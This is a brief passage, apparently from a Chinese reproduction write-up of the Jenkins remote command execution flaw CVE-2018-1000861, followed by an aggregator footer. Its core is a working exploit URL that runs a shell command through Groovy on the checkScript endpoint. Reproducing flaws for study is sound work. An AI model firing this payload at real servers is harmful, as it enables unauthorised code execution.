漏洞復(fù)現(xiàn)

只需要訪問以下網(wǎng)址即可執(zhí)行命令：

http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript ?sandbox=true &value=public class x {public x(){"touch /tmp/success".execute()} }

總結(jié)

以上是生活随笔為你收集整理的Jenkins远程命令执行漏洞（CVE-2018-1000861）的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。